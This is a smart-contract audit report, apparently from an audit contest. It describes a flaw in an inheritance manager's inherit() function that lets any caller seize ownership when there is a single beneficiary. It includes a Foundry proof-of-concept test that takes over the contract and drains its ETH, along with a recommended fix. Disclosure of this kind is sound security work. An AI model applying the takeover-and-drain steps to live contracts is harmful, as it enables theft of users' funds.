Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Single Beneficiary Leads to Owner Hijack and Loss of Funds

Summary

The inherit() function contains a vulnerability where if there is only one beneficiary, the first caller to execute the function becomes the owner. This allows an attacker to call inherit() before the legitimate benefactor, claim ownership, and drain the contract’s funds.

Vulnerability Details

The function does not properly verify that the caller is the intended heir. The issue is only exploitable when there is exactly one beneficiary because:

  1. The contract checks if inheritance conditions are met (that the deadline has passed).

  2. The first caller becomes the new owner, even if they are not the rightful heir.

  3. Once the attacker becomes the owner, they can withdraw all funds by calling the sendETH() and sendERC20() functions.
    This vulnerability is made possible through the msg.sender

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
>>> owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

Proof of Concept (PoC)

function test_HijackInheritanceForOneBeneficiary() public {
address user2 = makeAddr("user2");
vm.startPrank(owner);
im.addBeneficiery(user1);
vm.stopPrank();
vm.warp(1);
vm.deal(address(im), 10e10);
vm.warp(1 + 90 days);
console.log("Contract balance: ", address(im).balance);
console.log("User2 balance Before Inherit: ", user2.balance);
vm.startPrank(user2);
im.inherit();
im.sendETH(address(im).balance, user2);
vm.stopPrank();
console.log("User2 balance After Inherit: ", user2.balance);
console.log("Contract after: ", address(im).balance);
assertEq(user2, im.getOwner());
}

Result

Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_HijackInheritanceForOneBeneficiary() (gas: 138384)
Logs:
Contract balance: 100000000000
User2 balance Before Inherit: 0
User2 balance After Inherit: 100000000000
Contract after: 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.61ms (1.11ms CPU time)

Impact

  • Loss of contract ownership: The attacker permanently takes control.

  • Complete loss of funds: The attacker can withdraw everything.

  • Breaks inheritance logic: The rightful heir may never receive funds.

Tools Used

Founry and manual review

Recommendations

The inherit() function should be modified to check if the caller is actually the registered beneficiary:

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
// Check that msg.sender is the registered beneficiary
if (msg.sender != beneficiaries[0]) {
revert NotBeneficiary(msg.sender);
}
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.